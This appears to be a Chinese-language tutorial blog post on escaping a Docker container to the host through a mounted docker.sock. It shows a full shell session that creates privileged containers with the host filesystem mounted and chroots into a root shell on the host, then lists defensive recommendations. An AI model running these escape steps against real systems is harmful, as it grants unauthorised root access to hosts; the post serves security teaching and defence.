Kubernetes攻防 Docker in Docker

Docker in Docker

当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器内就可以通过 docker.sock 在宿主机里创建任意配置的容器,

此时可以理解为可以创建任意权限的进程;当然也可以控制任意正在运行的容器。

常见于需要对当前节点进行容器管理的编排逻辑容器里

docker 示范

shell 复制代码
[root@localhost ~]# docker run -it -v /var/run/docker.sock:/tmp/rootfs/docker.sock 192.168.101.99:80/base/centos:8 bash
[root@072dcd1db96a /]# ls /tmp/rootfs/docker.sock 
/tmp/rootfs/docker.sock

# 在容器内访问Docker API
[root@072dcd1db96a yum.repos.d]# yum -y install docker-ce
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock ps
CONTAINER ID   IMAGE                             COMMAND   CREATED          STATUS          PORTS     NAMES
072dcd1db96a   192.168.101.99:80/base/centos:8   "bash"    11 minutes ago   Up 11 minutes             dazzling_hoover

# 创建特权容器
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock run -d --privileged -v /:/tmp/centos8 192.168.101.99:80/base/centos:8 sleep infinity
c3a026b0f9635aeac6875aa5609beca54a67eb766b760de43b201663d71da45e

# 进入新创建的容器
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock exec -it c3a bash
[root@c3a026b0f963 /]# ls /tmp/centos8/var/run/docker.sock 
/tmp/centos8/var/run/docker.sock

# 若已经获取了此类容器的 full tty shell, 你可以用类似下述的命令创建一个通往宿主机的 shell。

[root@072dcd1db96a ~]# 
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock run \
>  -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" \
>  --network=host --privileged=true --cap-add=ALL 192.168.101.99:80/base/alpine:latest
d1e094032cb227698f8cc59495f5290469ff18903bc92afde5c7101177dba3f4
[root@072dcd1db96a ~]# 
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock exec -it d1e sh
/go # 
/go # chroot /rootfs/
basename: 缺少操作数
请尝试执行 "basename --help" 来获取更多信息。
[root@localhost /]# 
[root@localhost /]# ss -antulp 
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process                                                                        
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*      users:(("sshd",pid=961,fd=3))                                                 
tcp     LISTEN   0        128                 [::]:22               [::]:*      users:(("sshd",pid=961,fd=4))                                                 
[root@localhost /]# 
[root@localhost /]# ps -ef 
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 4月28 ?       00:00:01 /usr/lib/systemd/systemd --
root           2       0  0 4月28 ?       00:00:00 [kthreadd]
root           3       2  0 4月28 ?       00:00:00 [rcu_gp]
root           4       2  0 4月28 ?       00:00:00 [rcu_par_gp]
root           6       2  0 4月28 ?       00:00:00 [kworker/0:0H-events_highpr
root           9       2  0 4月28 ?       00:00:00 [mm_percpu_wq]
root          10       2  0 4月28 ?       00:00:00 [rcu_tasks_rude_]
root          11       2  0 4月28 ?       00:00:00 [rcu_tasks_trace]
root          12       2  0 4月28 ?       00:00:00 [ksoftirqd/0]
........

防御建议:

shell 复制代码
1、避免将Docker socket挂载到容器中
2、如必须挂载,考虑使用Docker授权插件限制API访问
3、监控Docker API调用,检测异常行为
4、考虑使用podman、containerd等替代方案,它们提供更细粒度的权限控制
相关推荐
虎头金猫4 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
分布式存储与RustFS4 天前
MinIO 官方 Docker 镜像被移除:依赖它的项目该怎么办
docker·云原生·devops·对象存储·minio·分布式存储
玉&心4 天前
通过Arthas在线诊断K8S中的内存及JVM等使用情况
docker·k8s·arthas
xing-xing4 天前
Docker容器中Nginx站点根目录网页配置访问
nginx·docker
赵文宇(温玉)5 天前
CoreDNS的hosts插件的缺行配置导致k8s集群异常
容器·kubernetes·rancher
guo_wen_qiang5 天前
上传本地镜像到harbor中
docker·容器·持续部署
张洛闻Eren5 天前
k8s云原生【第十课】:水平 Pod 自动扩缩容
运维·数据库·云原生·kubernetes·github
羑悻的小杀马特5 天前
Dockerfile 全景指南:从入门编写dockerfile到生产环境镜像优化实战,一步步带你从啃透制作指令到镜像制作落地!
docker·dockerfile·镜像制作
BianHuanShiZhe5 天前
docker常见命令
docker
正经教主5 天前
【FDE系列】阶段2:Day 43:Docker Compose — 多容器一键编排
人工智能·docker·fde